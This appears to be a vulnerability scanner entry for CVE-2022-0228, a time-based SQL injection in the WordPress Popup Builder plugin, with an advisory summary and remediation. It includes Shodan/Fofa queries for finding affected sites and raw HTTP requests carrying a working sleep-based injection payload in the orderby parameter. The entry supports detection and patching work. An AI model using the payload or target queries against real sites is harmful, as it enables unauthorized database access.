| Title | Popup Builder < 4.0.7 - SQL Injection |
|---|---|
| Author | r3Y3r53 |
| Severity | High |
| Impact | Authenticated administrators with high privileges can exploit SQL injection to extract database contents, potentially exposing sensitive WordPress data and user credentials. |
| Remediation | update to v.4.0.7 |
| CVSS Score | 7.2 |
| EPSS Score | 0.04161 |
| CVE ID | CVE-2022-0228 |
| CWE ID | CWE-89 |
| Shodan Query | http.html:/wp-content/plugins/popup-builder/ |
| Fofa Query | body=/wp-content/plugins/popup-builder/ |
| Tags | time-based-sqli cve2022 cve wordpress wp-plugin wp wpscan popup-builder sygnoos sqli vuln |
The Popup Builder WordPress plugin before 4.0.7 does not validate and properly escape the orderby and order parameters before using them in a SQL statement in the admin dashboard, which could allow high privilege users to perform SQL injection.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=9tw7Se&pwd=bDbLs6&wp-submit=Log+In
GET /wp-admin/admin-post.php?action=csv_file&orderby=email%2c(select+*+from(select(sleep(7)))b)&order=desc HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0228.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0228.pcap
N/AN/A